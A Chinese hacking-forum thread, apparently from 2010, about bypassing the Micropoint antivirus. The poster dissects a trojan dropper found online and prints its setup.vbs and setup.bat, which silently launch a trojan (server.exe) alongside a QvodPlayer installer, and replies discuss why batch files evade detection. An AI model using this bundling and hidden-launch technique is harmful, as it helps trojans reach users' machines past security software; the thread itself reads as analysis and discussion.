一朋友过微点的方法 他是微点迷 过完已上报微点

1890

第三代杀软的主动和行为厉害的没法说，其实不少大牛其实都找到了方法。只是没放出来，小凉谭通过小熊的指引说是一个bat就能搞定。机缘巧合，在登录97ai。com的时候发现他上面有个网址发部器，一看当然知道是木马啦 ，就下了下来是个exe的自解压，拿到虚拟机上解压了一下，发现释放了四个文件，一个是快播的播放器，一个是木马，一个是名为setup.bat的文件，一个是名为setup.vbs的文件，看了一下啊。发现他首先把四个文件都解压到windows目录下，首先运行setup.vbs，通过这个文件调用setup.bat,再通过bat运行播放器和木马。反正留着也没用就发出来共享一下 。
以下是两个主要文件的内容：
setup.bat内容如下
@echo off
server.exe-----------------------------------------------这个是木马名
QvodSetupPlus3.exe------------------------这个是快播安装文件
setup.vbs内容如下
On Error Resume Next
Dim oShell
Set oShell= WScript.CreateObject("WScript.Shell")
a = oShell.Run ("c:\windows\setup.BAT",0)
（这个vbs就是运行bat用的。但我也不明白什么意思？在新手讨论区发了个帖子。很快得到了回答，在这里要感谢一下咱们暗组中的shedream）
说明如下：
On Error Resume Next        '如果有错误则进行下一句
Dim oShell        '声明变量
Set oShell= WScript.CreateObject("WScript.Shell")        '创建一个WScript.shell对象
a = oShell.Run ("",0)        '打开一个可执行文件,""号内为程序路径

忘记的泪

没看明白

xyhjxs

过微点?

angir

代码全部发上来了？
需要运行的qvod安装文件和木马文件在哪里？

tshnel

没太明白

wd19880427

为何用bat过微点？因为非常简单：微点不拦截批处理。

angir

回复 6# wd19880427


    具体见这个链接：http://bbs.kafan.cn/thread-560344-1-1.html

挥泪斩情思

没看懂啊。。。纠结

unix

学习了，思路不错

waring_id

回复  wd19880427


    具体见这个链接：
angir 发表于 2010-3-13 15:12

这个上面说的是用批处理方法同样也过不了微点